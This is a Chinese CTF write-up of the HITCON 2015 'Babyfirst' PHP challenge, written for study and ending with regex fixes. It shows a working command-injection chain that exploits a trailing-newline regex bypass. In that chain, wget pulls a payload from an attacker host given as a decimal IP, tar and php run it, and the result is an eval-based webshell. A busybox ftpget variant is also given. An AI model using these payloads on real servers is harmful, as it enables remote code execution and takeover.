Babyfirst的分析和解答

简介

之前4ct10n找我讨论的,也是拖了很久直到现在才写了这篇文章。这道题目是hitcon2015上面的第一道题目,源码和解答可以在Github上面下载,是一道非常好的题目

说明

题目的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);

$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);

$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>

分析程序,整个程序的逻辑是为一个客户端创建一个sandbox/clientip的目录,通过正则表达检查参数值,要求所有的参数仅仅只能为数字和字母。而/bin/orange最终发现只是/bin/true的软链接,没有任何的作用。

突破点

其实这个问题是正则表达式的一个trick。/^\w+$\中的$当遇到一个字符串的结尾是换行符时还是可以匹配的。
利用这个特性,就可以绕过前面的preg_match()检查,同时多出的换行符还可以在exec()函数中执行。
进行简单的测试,访问

1
http://192.168.158.135/?args[]=xxx%0a&args[]=touch&args[]=test

args中的参数为xxx\n、touch、test,这三者都可以通过preg_match()的检查,此时exec中执行的命令为:

1
2
/bin/orange xxx
touch test

这样就顺利地创建了一个test文件,后台显示:

利用

我的测试环境是,服务器IP:192.168.158.135 本地IP:192.168.158.1

由于preg_match()使用的是\w来进行检查,所有的斜线、破折号和点(\,-,.)都无法使用。在这种情况下如何创建文件,写入webshell呢?尝试直接写入文件肯定是不行的,因为'也是无法使用的。

利用点1-wget下载文件

如果无法创建文件,师傅可以下载文件?利用wget的方式下载文件?传统的IP地址为1.1.1.1的形式,含有., 但是IP地址可以利用十进制的方式表示。所以就可以下载任意文件了。
在本地搭建一个web服务,在首页index.php中写入<?php phpinfo();?>,192.168.158.1转化为十进制为3232275969
通过访问URLhttp://192.168.158.135/?args[]=xxx%0a&args[]=wget&args[]=3232275969下载首页。
通过后台观察:

发现已经成功下载了文件,但是下载的文件已经变成了index.htmlindex.html的内容是phpinfo()返回之后的内容,而不是php的源代码。

综上,通过wget下载文件的方式不能下载到php文件,下载的是php解析之后的html文件。

利用点2-php执行代码

在Linux中PHP能够执行非压缩的打包的PHP文件。测试如下:

  1. 创建test.php,内容为<?php echo "test123";?>
  2. 通过tar将test.php打包,tar test test.php
  3. PHP运行test文件

最终运行的结果如下:

虽然执行之后输出了一些其他的内容,但是test123还是成功地输出,说明php已经执行了test中的代码了。

解答

在本地192.168.158.1index.html中写入:

1
2
3
4
5
6
7
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print eval($_POST["cmd"]);
?>
');

通过以上两个利用点,就可以写入webshell文件了。整个执行流程如下:

1
2
http://192.168.158.135/?args[]=xxx%0a&args[]=mkdir&args[]=exploit   创建exploit文件夹
http://192.168.158.135/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=3232275969 进入exploit文件夹,下载192.168.158.1的index.html文件。

此时后台服务器显示的结果如下:

已经成功地将文件下载到本地,接下来就是执行index.html文件中的内容,执行的方式就是上面所讲到的利用点2。

1
http://192.168.158.135/?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit

将exploit文件夹打包为archived文件,此时后台的服务器的显示为:

最后就是php解释执行archived文件了

1
http://192.168.158.135/?args[]=xxx%0a&args[]=php&args[]=archived

此时后台服务器的显示结果为:

可以看到已经成功地创建了shell.php文件

访问shell.php即可拿到服务器的webshell。

其他解法

后来有看了orange大佬写的HITCON CTF 2015 Quals Web 出題心得,又学习到了新的解法。上述的解法其实就是绕过各种限制,最终在服务器生成webshell。那么还可以通过其他的方式生成webshell,比如通过ftp的方式下载一个webshell文件。
由于一般的服务器上面都不会有ftpget命令,此时可以利用busybox这个工具。通过busybox中的ftpget的下载命令为:

1
busybox ftpget -u ftp的用户名 -p ftp的密码 ftp地址 需要下载的文件名

首先在ftp服务器上面创建一个webshell.php文件,内容是<?php @eval($_POST[cmd])?>.
那么执行流程为:

1
http://192.168.158.135/?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=%2du&args[]=uftp&args[]=%2dp&args[]=123456&args[]=3232275969&args[]=webshell.php

直接从远程的ftp服务器上面下载php文件,此php文件就是一个简单的一句话木马。在后台服务器的显示为:

成功地下载了webshell.php文件

访问webshell.php即可拿到服务器的webshell。

但是我在本地进行测试的时候,始终无法通过busybox ftpget下载到webshell.php,很迷。但是上面的思路完全是可行的。

补充说明

其实这道题目利用的在正则表达式中$可以匹配到字符串末尾的换行符的特性。如果想仅仅只是匹配字符串也是有办法的。

  1. 使用\A\Z来表示字符串的开始和结束,那么就可以使用var_dump(preg_match('|\A[a-z0-9]+\z|is', "abcABC1234\n"));,这样就不会匹配到
  2. 可以使用\D的模式来进行匹配,如果这个修饰符被设置,模式中的$仅仅匹配目标字符串的末尾。如果这个修饰符 没有设置,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符。var_dump(preg_match('/^[a-z0-9]+$/isD', "abcABC1234\n"));,这样也不会匹配到。

总结

利用了正则表达式中的的换行符匹配的问题最终导致可以写入webshell,这道题目可以说非常的好,思路也非常的好,值得学习。